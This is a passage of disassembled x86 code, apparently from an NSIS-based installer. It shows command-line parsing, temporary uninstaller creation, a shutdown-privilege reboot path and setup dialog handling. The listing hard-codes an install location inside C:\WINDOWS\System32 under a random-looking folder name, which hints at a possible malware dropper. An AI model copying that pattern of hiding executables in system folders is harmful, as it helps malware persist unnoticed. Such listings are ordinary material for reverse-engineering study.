		inc	eax
		cmp	byte ptr [eax],	53h
		jnz	short loc_40327C
		mov	cl, [eax+1]
		or	cl, 20h
		cmp	cl, 20h
		jnz	short loc_40327C
		or	esi, 2


loc_40327C:				; CODE XREF: start+106j start+111j
		cmp	dword ptr [eax], 4352434Eh
		jnz	short loc_403292
		mov	cl, [eax+4]
		or	cl, 20h
		cmp	cl, 20h
		jnz	short loc_403292
		or	esi, 4


loc_403292:				; CODE XREF: start+11Cj start+127j
		cmp	dword ptr [eax-2], 3D442F20h
		jz	short loc_4032B3


loc_40329B:				; CODE XREF: start+100j
		push	[esp+1C8h+var_1B8]
		push	eax
		call	sub_405513
		cmp	byte ptr [eax],	22h
		jnz	short loc_4032AB
		inc	eax


loc_4032AB:				; CODE XREF: start+E0j	start+142j
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_403248
		jmp	short loc_4032C5
; ---------------------------------------------------------------------------


loc_4032B3:				; CODE XREF: start+133j
		and	byte ptr [eax-2], 0
		add	eax, 2
		push	eax
		push	offset aCWindowsSyst_2 ; "C:\\WINDOWS\\System32"
		call	sub_4059DB


loc_4032C5:				; CODE XREF: start+14Bj
		push	esi
		call	sub_402C37
		mov	ebp, eax
		test	ebp, ebp
		jnz	short loc_403332
		cmp	dword_42F434, eax
		jz	short loc_403322
		push	eax
		push	edi
		call	sub_405513
		mov	esi, eax
		jmp	short loc_4032ED
; ---------------------------------------------------------------------------


loc_4032E4:				; CODE XREF: start+189j
		cmp	dword ptr [esi], 3D3F5F20h
		jz	short loc_4032F1
		dec	esi


loc_4032ED:				; CODE XREF: start+17Cj
		cmp	esi, edi
		jnb	short loc_4032E4


loc_4032F1:				; CODE XREF: start+184j
		cmp	esi, edi
		mov	ebp, offset aErrorLaunching ; "Error launching installer"
		jb	short loc_403358
		and	byte ptr [esi],	0
		add	esi, 4
		push	esi
		call	sub_4055C8
		test	eax, eax
		jz	short loc_403332
		push	esi
		push	offset aCWindowsSyst_2 ; "C:\\WINDOWS\\System32"
		call	sub_4059DB
		push	esi
		push	offset aCWindowsSyst_0 ; "C:\\WINDOWS\\System32\\vMW03a"
		call	sub_4059DB
		xor	ebp, ebp


loc_403322:				; CODE XREF: start+171j
		or	dword_42F4CC, 0FFFFFFFFh
		call	sub_403542
		mov	[esp+1C8h+var_1B0], eax


loc_403332:				; CODE XREF: start+8Aj	start+169j ...
		call	sub_40351D
		call	ds:dword_407274
		test	ebp, ebp
		jz	loc_40346A
		push	200010h
		push	ebp
		call	sub_4052DB
		push	2
		call	ds:dword_4070A8	; ExitProcess


loc_403358:				; CODE XREF: start+192j
		push	offset aNsu_tmp	; "~nsu.tmp\\"
		push	ebx
		call	sub_4059F7	; lstrcat
		push	0
		push	ebx
		call	ds:dword_407088	; CreateDirectoryA
		and	[esp+1DCh+var_1CC], 0
		mov	esi, offset word_428C60
		mov	edi, offset dword_429460


loc_40337B:				; CODE XREF: start+2F9j
		push	ebx
		push	esi
		mov	word_428C60, 22h
		call	sub_4059F7	; lstrcat
		push	offset aAu__exe	; "Au_.exe"
		push	esi
		call	sub_4059F7	; lstrcat
		push	428C61h
		call	ds:dword_407140	; DeleteFileA
		test	ebp, ebp
		jz	loc_403450
		push	400h
		push	edi
		push	dword_42F420
		call	ds:dword_407098	; GetModuleFileNameA
		lea	eax, dword_42945A[eax]
		push	4091A1h
		push	eax
		call	ds:dword_4070A4	; lstrcmpi
		test	eax, eax
		jz	loc_403332
		push	0
		push	428C61h
		push	edi
		call	ds:dword_407144	; CopyFileA
		test	eax, eax
		jz	short loc_403450
		push	0
		push	428C61h
		call	sub_405723
		cmp	byte ptr ds:aCWindowsSyst_2, 0 ; "C:\\WINDOWS\\System32"
		jz	short loc_403409
		push	offset aCWindowsSyst_2 ; "C:\\WINDOWS\\System32"
		push	edi
		call	sub_4059DB
		jmp	short loc_40340F
; ---------------------------------------------------------------------------


loc_403409:				; CODE XREF: start+294j
		push	edi
		call	sub_40552F


loc_40340F:				; CODE XREF: start+2A1j
		push	offset asc_409218 ; "\"	"
		push	esi
		call	sub_4059F7	; lstrcat
		push	[esp+218h+var_204]
		push	esi
		call	sub_4059F7	; lstrcat
		push	offset a_?	; " _?="
		push	esi
		call	sub_4059F7	; lstrcat
		push	edi
		push	esi
		call	sub_4059F7	; lstrcat
		push	esi
		call	sub_4054E8
		push	ebx
		push	esi
		call	sub_405263
		test	eax, eax
		jz	short loc_403450
		push	eax
		call	ds:dword_407060	; CloseHandle
		xor	ebp, ebp


loc_403450:				; CODE XREF: start+23Dj start+27Fj ...
		inc	byte ptr aAu__exe ; "Au_.exe"
		inc	[esp+234h+var_224]
		cmp	[esp+234h+var_224], 1Ah
		jl	loc_40337B
		jmp	loc_403332
; ---------------------------------------------------------------------------


loc_40346A:				; CODE XREF: start+1D9j
		cmp	dword_42F4B4, 0
		jz	loc_403505
		mov	esi, offset aAdvapi32_dll ; "ADVAPI32.dll"
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	esi
		call	sub_405CEE
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	esi
		mov	ebp, eax
		call	sub_405CEE
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	esi
		mov	edi, eax
		call	sub_405CEE
		xor	esi, esi
		mov	ebx, eax
		cmp	ebp, esi
		jz	short loc_4034F1
		cmp	edi, esi
		jz	short loc_4034F1
		cmp	ebx, esi
		jz	short loc_4034F1
		lea	eax, [esp+1C8h+var_1B4]
		push	eax
		push	28h
		call	ds:dword_4070A0	; GetCurrentProcess
		push	eax
		call	ebp
		test	eax, eax
		jz	short loc_4034F1
		lea	eax, [esp+1D4h+var_1B4]
		push	eax
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		push	esi
		call	edi
		push	esi
		push	esi
		lea	eax, [esp+1E8h+var_1C4]
		push	esi
		push	eax
		push	esi
		push	[esp+1F4h+var_1CC]
		mov	[esp+1F8h+var_1C4], 1
		mov	[esp+1F8h+var_1B8], 2
		call	ebx	; GetTickCount


loc_4034F1:				; CODE XREF: start+341j start+345j ...
		push	esi
		push	2
		call	ds:dword_40721C	; ExitWindowsEx
		test	eax, eax
		jnz	short loc_403505
		push	9
		call	sub_401410


loc_403505:				; CODE XREF: start+30Bj start+396j
		mov	eax, dword_42F4CC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403513
		mov	[esp+200h+var_1E8], eax


loc_403513:				; CODE XREF: start+3A7j
		push	[esp+200h+var_1E8]
		call	ds:dword_4070A8	; ExitProcess
start		endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40351D	proc near		; CODE XREF: start:loc_403332p
		mov	eax, dword_409020
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403535
		push	eax
		call	ds:dword_407060	; CloseHandle
		or	dword_409020, 0FFFFFFFFh


loc_403535:				; CODE XREF: sub_40351D+8j
		push	7
		push	offset dword_436800
		call	sub_40531D
		retn
sub_40351D	endp


; =============== S U B	R O U T	I N E =======================================



sub_403542	proc near		; CODE XREF: start+1C3p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 14h
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_42F428
		push	edi
		push	offset aGetuserdefault ; "GetUserDefaultUILanguage"
		push	offset aKernel32_dll ; "KERNEL32.dll"
		call	sub_405CEE
		xor	ebx, ebx
		cmp	eax, ebx
		jz	short loc_403576
		call	eax
		movzx	eax, ax
		push	eax
		push	offset a1033	; "1033"
		call	sub_405939
		jmp	short loc_4035BE
; ---------------------------------------------------------------------------


loc_403576:				; CODE XREF: sub_403542+20j
		mov	edi, offset byte_42A8A0
		mov	dword ptr ds:a1033, 7830h ; "1033"
		push	edi
		push	ebx
		push	offset aControlPanelDe ; "Control Panel\\Desktop\\ResourceLocale"
		push	80000001h
		call	sub_4058CF
		cmp	byte_42A8A0, bl
		jnz	short loc_4035B3
		push	edi
		push	offset aLocale	; "Locale"
		push	offset a_defaultContro ; ".DEFAULT\\Control Panel\\International"
		push	80000003h
		call	sub_4058CF


loc_4035B3:				; CODE XREF: sub_403542+5Aj
		push	edi
		push	offset a1033	; "1033"
		call	sub_4059F7	; lstrcat


loc_4035BE:				; CODE XREF: sub_403542+32j
		call	sub_40380E
		mov	eax, dword_42F430
		mov	ebp, offset aCWindowsSyst_2 ; "C:\\WINDOWS\\System32"
		and	eax, 20h
		push	ebp
		mov	dword_42F4A0, eax
		call	sub_4055C8
		test	eax, eax
		jnz	loc_403663
		mov	ecx, [esi+48h]
		cmp	ecx, ebx
		jz	short loc_403663
		mov	edx, [esi+4Ch]
		mov	eax, dword_42F458
		mov	edi, offset aCWindowsSyst_3 ; "C:\\WINDOWS\\System32\\vMW03a\\vMW03a1066.e"...
		add	edx, eax
		push	edi
		add	ecx, eax
		push	edx
		push	ecx
		push	dword ptr [esi+44h]
		call	sub_4058CF
		mov	al, byte ptr aCWindowsSyst_3 ; "C:\\WINDOWS\\System32\\vMW03a\\vMW03a1066.e"...
		cmp	al, bl
		jz	short loc_403663
		cmp	al, 22h
		jnz	short loc_403622
		mov	edi, 42E3C1h
		push	22h
		push	edi
		call	sub_405513
		mov	[eax], bl


loc_403622:				; CODE XREF: sub_403542+CFj
		push	edi
		call	sub_4059F1	; lstrlen
		lea	eax, [eax+edi-4]
		cmp	eax, edi
		jbe	short loc_403656
		push	offset a_exe	; ".exe"
		push	eax
		call	ds:dword_4070A4	; lstrcmpi
		test	eax, eax
		jnz	short loc_403656
		push	edi
		call	ds:dword_407080	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403650
		test	al, 10h
		jnz	short loc_403656


loc_403650:				; CODE XREF: sub_403542+108j
		push	edi
		call	sub_40552F


loc_403656:				; CODE XREF: sub_403542+ECj
					; sub_403542+FCj ...
		push	edi
		call	sub_4054E8
		push	eax
		push	ebp
		call	sub_4059DB


loc_403663:				; CODE XREF: sub_403542+9Bj
					; sub_403542+A6j ...
		push	ebp
		call	sub_4055C8
		test	eax, eax
		jnz	short loc_403679
		push	dword ptr [esi+118h]
		push	ebp
		call	sub_4059FD


loc_403679:				; CODE XREF: sub_403542+129j
		push	8040h
		push	ebx
		push	ebx
		push	1
		push	67h
		push	dword_42F420
		call	ds:dword_40722C	; LoadImageA
		mov	dword_42EC08, eax
		cmp	dword ptr [esi+50h], 0FFFFFFFFh
		mov	edi, offset dword_42EBC0
		jz	loc_40372D
		mov	ecx, dword_42F420
		mov	dword_42EBD4, eax
		lea	eax, [esp+24h+var_14]
		push	edi
		mov	[esp+28h+var_14], 624E5Fh
		mov	dword_42EBC4, offset sub_401000
		mov	dword_42EBD0, ecx
		mov	dword_42EBE4, eax
		call	ds:dword_407200	; RegisterClassA
		test	ax, ax
		jz	loc_403804
		lea	eax, [esp+24h+var_10]
		push	ebx
		push	eax
		push	ebx
		push	30h
		call	ds:dword_407204	; SystemParametersInfoA
		push	ebx
		push	dword_42F420
		mov	eax, [esp+2Ch+var_4]
		sub	eax, [esp+2Ch+var_C]
		push	ebx
		push	ebx
		push	eax
		mov	eax, [esp+38h+var_8]
		sub	eax, [esp+38h+var_10]
		push	eax
		lea	eax, [esp+3Ch+var_14]
		push	[esp+3Ch+var_C]
		push	[esp+40h+var_10]
		push	80000000h
		push	ebx
		push	eax
		push	80h
		call	ds:dword_407208	; CreateWindowExA
		mov	dword_42A880, eax


loc_40372D:				; CODE XREF: sub_403542+15Cj
		push	ebx
		call	sub_401410
		test	eax, eax
		jz	short loc_40373F


loc_403737:				; CODE XREF: sub_403542+2A9j
					; sub_403542+2B6j
		push	2
		pop	eax
		jmp	loc_403806
; ---------------------------------------------------------------------------


loc_40373F:				; CODE XREF: sub_403542+1F3j
		call	sub_40380E
		cmp	dword_42F4C0, ebx
		jnz	loc_4037DB
		push	5
		push	dword_42A880
		call	ds:dword_407258	; ShowWindow
		mov	esi, ds:dword_40710C
		mov	ebp, offset aRiched20_dll ; "RichEd20.dll"
		push	ebp
		call	esi	; LoadLibraryA
		test	eax, eax
		jnz	short loc_40377C
		push	ebp
		mov	word ptr aRiched20_dll+6, 3233h
		call	esi	; LoadLibraryA


loc_40377C:				; CODE XREF: sub_403542+22Cj
		mov	ebp, ds:dword_40720C
		mov	esi, offset aRichedit20a ; "RichEdit20A"
		push	edi
		push	esi
		push	ebx
		call	ebp	; GetClassInfoA
		test	eax, eax
		jnz	short loc_4037AF
		push	edi
		push	esi
		push	ebx
		mov	byte ptr aRichedit20a+8, bl
		call	ebp	; GetClassInfoA
		push	edi
		mov	dword_42EBE4, esi
		mov	byte ptr aRichedit20a+8, 32h
		call	ds:dword_407200	; RegisterClassA


loc_4037AF:				; CODE XREF: sub_403542+24Cj
		mov	eax, dword_42EC00
		push	ebx
		add	eax, 69h
		push	offset sub_4038DB
		movzx	eax, ax
		push	ebx
		push	eax
		push	dword_42F420
		call	ds:dword_407210	; DialogBoxParamA
		push	5
		mov	esi, eax
		call	sub_401410
		mov	eax, esi
		jmp	short loc_403806
; ---------------------------------------------------------------------------


loc_4037DB:				; CODE XREF: sub_403542+208j
		push	ebx
		call	sub_404E50
		test	eax, eax
		jz	short loc_4037FD
		cmp	dword_42EBEC, ebx
		jnz	loc_403737
		push	2
		call	sub_401410
		jmp	loc_403737
; ---------------------------------------------------------------------------


loc_4037FD:				; CODE XREF: sub_403542+2A1j
		push	1
		call	sub_401410


loc_403804:				; CODE XREF: sub_403542+198j
		xor	eax, eax


loc_403806:				; CODE XREF: sub_403542+1F8j
					; sub_403542+297j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 14h
		retn
sub_403542	endp


; =============== S U B	R O U T	I N E =======================================



sub_40380E	proc near		; CODE XREF: sub_403542:loc_4035BEp
					; sub_403542:loc_40373Fp
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, offset a1033 ; "1033"
		mov	ebx, 0FFFFh
		push	edi
		call	sub_405952


loc_403822:				; CODE XREF: sub_40380E+6Fj
					; sub_40380E+73j
		mov	esi, dword_42F464
		test	esi, esi
		jz	short loc_403871
		mov	ecx, dword_42F428
		mov	ecx, [ecx+64h]
		mov	edx, ecx
		imul	ecx, esi
		neg	edx
		add	ecx, dword_42F460


loc_403842:				; CODE XREF: sub_40380E+46j
		add	ecx, edx
		dec	esi
		mov	bp, [ecx]
		xor	bp, ax
		and	ebp, ebx
		test	bp, bp
		jz	short loc_403858
		test	esi, esi
		jnz	short loc_403842
		jmp	short loc_403871
; ---------------------------------------------------------------------------


loc_403858:				; CODE XREF: sub_40380E+42j
		mov	edx, [ecx+2]
		mov	dword_42EC00, edx
		mov	edx, [ecx+6]
		mov	dword_42F4C8, edx
		lea	edx, [ecx+0Ah]
		test	edx, edx
		jnz	short loc_403883


loc_403871:				; CODE XREF: sub_40380E+1Cj
					; sub_40380E+48j
		cmp	bx, 0FFFFh
		jnz	short loc_40387F
		mov	ebx, 3FFh
		jmp	short loc_403822
; ---------------------------------------------------------------------------


loc_40387F:				; CODE XREF: sub_40380E+68j
		xor	ebx, ebx
		jmp	short loc_403822
; ---------------------------------------------------------------------------


loc_403883:				; CODE XREF: sub_40380E+61j
		mov	dword_42EBFC, edx
		movzx	eax, word ptr [ecx]
		push	eax
		push	edi
		call	sub_405939
		push	0FFFFFFFEh
		push	offset aNameSetup ; "Name Setup"
		call	sub_4059FD
		push	eax
		push	dword_42A880
		call	ds:dword_4071E8	; SetWindowTextA
		mov	eax, dword_42F44C
		mov	esi, dword_42F448
		test	eax, eax
		jz	short loc_4038D6
		mov	edi, eax


loc_4038BD:				; CODE XREF: sub_40380E+C6j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4038CD
		push	eax
		lea	eax, [esi+18h]
		push	eax
		call	sub_4059FD


loc_4038CD:				; CODE XREF: sub_40380E+B3j
		add	esi, 418h
		dec	edi
		jnz	short loc_4038BD


loc_4038D6:				; CODE XREF: sub_40380E+ABj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40380E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4038DB	proc near		; DATA XREF: sub_403542+276o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		sub	esp, 10h
		mov	ecx, 110h
		push	ebx
		push	ebp
		mov	ebp, [esp+18h+arg_4]
		push	esi
		cmp	ebp, ecx
		push	edi
		jz	loc_403A66
		cmp	ebp, 408h
		jz	loc_403A66
		mov	ebx, [esp+20h+arg_0]
		cmp	ebp, 47h
		jnz	short loc_40391D
		xor	eax, eax
		push	13h
		push	eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	dword_42A880
		call	ds:dword_40717C	; SetWindowPos


loc_40391D:				; CODE XREF: sub_4038DB+2Bj
		cmp	ebp, 5
		jnz	short loc_40393A
		mov	eax, [esp+20h+arg_8]
		dec	eax
		neg	eax
		sbb	eax, eax
		and	eax, ebp
		push	eax
		push	dword_42A880
		call	ds:dword_407258	; ShowWindow


loc_40393A:				; CODE XREF: sub_4038DB+45j
		cmp	ebp, 40Dh
		jnz	short loc_40395C
		push	dword_42EBF8
		call	ds:dword_4071E0	; DestroyWindow
		mov	eax, [esp+20h+arg_8]
		mov	dword_42EBF8, eax
		jmp	loc_403D6B
; ---------------------------------------------------------------------------


loc_40395C:				; CODE XREF: sub_4038DB+65j
		cmp	ebp, 11h
		jnz	short loc_403974
		push	0
		push	0
		push	ebx
		call	ds:dword_407228	; SetWindowLongA
		xor	eax, eax
		inc	eax
		jmp	loc_403D92
; ---------------------------------------------------------------------------


loc_403974:				; CODE XREF: sub_4038DB+84j
		cmp	ebp, 10h
		jnz	short loc_4039AC
		mov	eax, dword_42F444
		dec	eax
		cmp	dword_409284, eax
		jnz	loc_403A53
		push	dword_429868
		call	ds:dword_407178	; IsWindowEnabled
		test	eax, eax
		jnz	loc_403A53
		mov	ebp, 111h
		mov	[esp+20h+arg_8], 1


loc_4039AC:				; CODE XREF: sub_4038DB+9Cj
		cmp	ebp, 111h
		jnz	loc_403A53
		movzx	esi, word ptr [esp+20h+arg_8]
		push	esi
		push	ebx
		call	ds:dword_407224	; GetDlgItem
		mov	ebx, ds:dword_40723C
		mov	edi, eax
		test	edi, edi
		jz	short loc_4039EC
		push	0
		push	0
		push	0F3h
		push	edi
		call	ebx	; SendMessageA
		push	edi
		call	ds:dword_407178	; IsWindowEnabled
		test	eax, eax
		jz	loc_403D90


loc_4039EC:				; CODE XREF: sub_4038DB+F4j
		xor	edi, edi
		inc	edi
		cmp	esi, edi
		jnz	short loc_4039F6
		push	edi
		jmp	short loc_403A24
; ---------------------------------------------------------------------------


loc_4039F6:				; CODE XREF: sub_4038DB+116j
		cmp	esi, 3
		jnz	short loc_403A08
		cmp	dword_409284, 0
		jle	short loc_403A3E
		push	0FFFFFFFFh
		jmp	short loc_403A24
; ---------------------------------------------------------------------------


loc_403A08:				; CODE XREF: sub_4038DB+11Ej
		cmp	esi, 2
		jnz	short loc_403A3E
		cmp	dword_42F4AC, 0
		jz	short loc_403A2B
		push	esi
		call	sub_401410
		mov	dword_429C70, esi


loc_403A22:				; CODE XREF: sub_4038DB+161j
		push	78h


loc_403A24:				; CODE XREF: sub_4038DB+119j
					; sub_4038DB+12Bj
		call	sub_403D9C
		jmp	short loc_403A53
; ---------------------------------------------------------------------------


loc_403A2B:				; CODE XREF: sub_4038DB+139j
		push	3
		call	sub_401410
		test	eax, eax
		jnz	short loc_403A53
		mov	dword_429C70, edi
		jmp	short loc_403A22
; ---------------------------------------------------------------------------


loc_403A3E:				; CODE XREF: sub_4038DB+127j
					; sub_4038DB+130j
		push	[esp+20h+arg_C]
		push	[esp+24h+arg_8]
		push	111h
		push	dword_42EBF8
		call	ebx	; SendMessageA


loc_403A53:				; CODE XREF: sub_4038DB+AAj
					; sub_4038DB+BEj ...
		push	[esp+20h+arg_C]
		push	[esp+24h+arg_8]
		push	ebp
		call	sub_403E2A
		jmp	loc_403D92
; ---------------------------------------------------------------------------


loc_403A66:				; CODE XREF: sub_4038DB+12j
					; sub_4038DB+1Ej
		mov	eax, [esp+20h+arg_8]
		mov	ebx, [esp+20h+arg_0]
		cmp	ebp, ecx
		mov	dword_42A88C, eax
		jnz	short loc_403AC4
		mov	esi, ds:dword_407224
		push	1
		push	ebx
		mov	dword_42F424, ebx
		call	esi	; GetDlgItem
		push	2
		push	ebx
		mov	dword_42A89C, eax
		call	esi	; GetDlgItem
		push	0FFFFFFFFh
		push	1Ch
		push	ebx
		mov	dword_429868, eax
		call	sub_403DC3
		push	dword_42EC08
		push	0FFFFFFF2h
		push	ebx
		call	ds:dword_407174	; SetClassLongA
		push	4
		call	sub_401410
		mov	dword_42EBEC, eax
		xor	eax, eax
		inc	eax
		mov	dword_42A88C, eax


loc_403AC4:				; CODE XREF: sub_4038DB+19Aj
		mov	ecx, dword_409284
		xor	edi, edi
		mov	esi, ecx
		shl	esi, 6
		add	esi, dword_42F440
		cmp	ecx, edi
		jl	short loc_403B19
		cmp	eax, 1
		jnz	short loc_403B11
		push	edi
		push	dword ptr [esi+10h]
		call	sub_40136D
		test	eax, eax
		jz	short loc_403B11
		push	1
		push	edi
		push	40Fh
		push	dword_42EBF8
		call	ds:dword_40723C	; SendMessageA
		xor	eax, eax
		cmp	dword_42EBEC, edi
		setz	al
		jmp	loc_403D92
; ---------------------------------------------------------------------------


loc_403B11:				; CODE XREF: sub_4038DB+203j
					; sub_4038DB+210j
		cmp	[esi], edi
		jz	loc_403D90


loc_403B19:				; CODE XREF: sub_4038DB+1FEj
		push	40Bh
		call	sub_403E0F


loc_403B23:				; CODE XREF: sub_4038DB+384j
					; sub_4038DB+38Cj ...
		mov	eax, dword_42A88C
		add	dword_409284, eax
		shl	eax, 6
		add	esi, eax
		mov	eax, dword_409284
		cmp	eax, dword_42F444
		jnz	short loc_403B47
		push	1
		call	sub_401410


loc_403B47:				; CODE XREF: sub_4038DB+263j
		cmp	dword_42EBEC, 0
		jnz	loc_403D4B
		mov	eax, dword_42F444
		cmp	dword_409284, eax
		jnb	loc_403D4B
		push	dword ptr [esi+24h]
		mov	edi, [esi+14h]
		push	offset dword_437000
		call	sub_4059FD
		push	dword ptr [esi+20h]
		push	0FFFFFC19h
		push	ebx
		call	sub_403DC3
		push	dword ptr [esi+1Ch]
		push	0FFFFFC1Bh
		push	ebx
		call	sub_403DC3
		push	dword ptr [esi+28h]
		push	0FFFFFC1Ah
		push	ebx
		call	sub_403DC3
		push	3
		push	ebx
		call	ds:dword_407224	; GetDlgItem
		cmp	dword_42F4AC, 0
		mov	ebp, eax
		jz	short loc_403BBB
		and	di, 0FEFDh
		or	edi, 4


loc_403BBB:				; CODE XREF: sub_4038DB+2D6j
		mov	eax, edi
		and	eax, 8
		push	eax
		push	ebp
		call	ds:dword_407258	; ShowWindow
		mov	eax, edi
		and	eax, 100h
		push	eax
		push	ebp
		call	ds:dword_407234	; EnableWindow
		mov	eax, edi
		and	eax, 2
		push	eax
		call	sub_403DE5
		and	edi, 4
		push	edi
		push	dword_429868
		call	ds:dword_407234	; EnableWindow
		xor	edi, edi
		push	1
		push	edi
		push	0F4h
		push	ebp
		mov	ebp, ds:dword_40723C
		call	ebp	; SendMessageA
		cmp	dword_42F4AC, edi
		jz	short loc_403C20
		push	edi
		push	2
		push	401h
		push	ebx
		call	ebp	; SendMessageA
		push	dword_429868
		jmp	short loc_403C26
; ---------------------------------------------------------------------------


loc_403C20:				; CODE XREF: sub_4038DB+330j
		push	dword_42A89C


loc_403C26:				; CODE XREF: sub_4038DB+343j
		call	sub_403DF8
		mov	ebp, offset byte_42A8A0
		push	offset aNameSetup ; "Name Setup"
		push	ebp
		call	sub_4059DB
		push	dword ptr [esi+18h]
		push	ebp
		call	sub_4059F1	; lstrlen
		add	eax, ebp
		push	eax
		call	sub_4059FD
		push	ebp
		push	ebx
		call	ds:dword_4071E8	; SetWindowTextA
		push	edi
		push	dword ptr [esi+8]
		call	sub_40136D
		test	eax, eax
		jnz	loc_403B23
		cmp	[esi], eax
		jz	loc_403B23
		cmp	dword ptr [esi+4], 5
		jnz	short loc_403C90
		cmp	dword_42F4AC, eax
		jnz	loc_403D90
		cmp	dword_42F4A0, eax
		jnz	loc_403B23
		jmp	loc_403D90
; ---------------------------------------------------------------------------


loc_403C90:				; CODE XREF: sub_4038DB+396j
		push	dword_42EBF8
		call	ds:dword_4071E0	; DestroyWindow
		mov	dword_42A078, esi
		cmp	dword ptr [esi], 0
		jle	loc_403D6B
		mov	eax, [esi+4]
		push	esi
		push	off_409288[eax*4]
		mov	ax, [esi]
		add	ax, word ptr dword_42EC00
		push	ebx
		movzx	eax, ax
		push	eax
		push	dword_42F420
		call	ds:dword_4071DC	; CreateDialogParamA
		test	eax, eax
		mov	dword_42EBF8, eax
		jz	loc_403D6B
		push	dword ptr [esi+2Ch]
		push	6
		push	eax
		call	sub_403DC3
		lea	eax, [esp+20h+var_10]
		push	eax
		push	3FAh
		push	ebx
		call	ds:dword_407224	; GetDlgItem
		push	eax
		call	ds:dword_407170	; GetWindowRect
		lea	eax, [esp+20h+var_10]
		push	eax
		push	ebx
		call	ds:dword_40716C	; ScreenToClient
		xor	edi, edi
		push	15h
		push	edi
		push	edi
		push	[esp+2Ch+var_C]
		push	[esp+30h+var_10]
		push	edi
		push	dword_42EBF8
		call	ds:dword_40717C	; SetWindowPos
		push	edi
		push	dword ptr [esi+0Ch]
		call	sub_40136D
		push	8
		push	dword_42EBF8
		call	ds:dword_407258	; ShowWindow
		push	405h
		call	sub_403E0F
		jmp	short loc_403D6B
; ---------------------------------------------------------------------------


loc_403D4B:				; CODE XREF: sub_4038DB+273j
					; sub_4038DB+284j
		push	dword_42EBF8
		call	ds:dword_4071E0	; DestroyWindow
		push	dword_429C70
		and	dword_42F424, 0
		push	ebx
		call	ds:dword_4071B4	; EndDialog


loc_403D6B:				; CODE XREF: sub_4038DB+7Cj
					; sub_4038DB+3CAj ...
		cmp	dword_42B8A0, 0
		jnz	short loc_403D90
		cmp	dword_42EBF8, 0
		jz	short loc_403D90
		push	0Ah
		push	ebx
		call	ds:dword_407258	; ShowWindow
		mov	dword_42B8A0, 1


loc_403D90:				; CODE XREF: sub_4038DB+10Bj
					; sub_4038DB+238j ...
		xor	eax, eax


loc_403D92:				; CODE XREF: sub_4038DB+94j
					; sub_4038DB+186j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10h
		retn	10h
sub_4038DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_403D9C	proc near		; CODE XREF: sub_4038DB:loc_403A24p
					; sub_404EBC+219p ...

arg_0		= dword	ptr  4

		cmp	[esp+arg_0], 78h
		jnz	short loc_403DA9
		inc	dword_42EBEC


loc_403DA9:				; CODE XREF: sub_403D9C+5j
		push	0
		push	[esp+4+arg_0]
		push	408h
		push	dword_42F424
		call	ds:dword_40723C	; SendMessageA
		retn	4
sub_403D9C	endp


; =============== S U B	R O U T	I N E =======================================



sub_403DC3	proc near		; CODE XREF: sub_4038DB+1C1p
					; sub_4038DB+2A3p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		push	0
		call	sub_4059FD
		push	eax
		mov	eax, [esp+4+arg_4]
		add	eax, 3E8h
		push	eax
		push	[esp+8+arg_0]
		call	sub_4052B9	; SetDlgItemTextA
		retn	0Ch
sub_403DC3	endp


; =============== S U B	R O U T	I N E =======================================



sub_403DE5	proc near		; CODE XREF: sub_4038DB+302p
					; sub_403F0B+92p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		push	dword_42A89C
		call	ds:dword_407234	; EnableWindow
		retn	4
sub_403DE5	endp


; =============== S U B	R O U T	I N E =======================================



sub_403DF8	proc near		; CODE XREF: sub_4038DB:loc_403C26p
					; sub_403F0B+A8p ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		push	28h
		push	dword_42F424
		call	ds:dword_40723C	; SendMessageA
		retn	4
sub_403DF8	endp


; =============== S U B	R O U T	I N E =======================================



sub_403E0F	proc near		; CODE XREF: sub_4038DB+243p
					; sub_4038DB+469p ...

arg_0		= dword	ptr  4

		mov	eax, dword_42EBF8
		test	eax, eax
		jz	short locret_403E27
		push	0
		push	0
		push	[esp+8+arg_0]
		push	eax
		call	ds:dword_40723C	; SendMessageA

locret_403E27:				; CODE XREF: sub_403E0F+7j
		retn	4
sub_403E0F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403E2A	proc near		; CODE XREF: sub_4038DB+181p
					; sub_403F0B+27Fp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	esi
		add	eax, 0FFFFFECDh
		cmp	eax, 5
		ja	loc_403ED0
		push	0FFFFFFEBh
		push	[ebp+arg_8]
		call	ds:dword_407184	; GetWindowLongA
		mov	esi, eax
		test	esi, esi
		jz	short loc_403ED0
		test	byte ptr [esi+14h], 2
		mov	eax, [esi]
		push	edi
		mov	edi, ds:dword_407180
		jz	short loc_403E65
		push	eax
		call	edi	; GetSysColor


loc_403E65:				; CODE XREF: sub_403E2A+36j
		test	byte ptr [esi+14h], 1
		jz	short loc_403E75
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_407054	; SetTextColor


loc_403E75:				; CODE XREF: sub_403E2A+3Fj
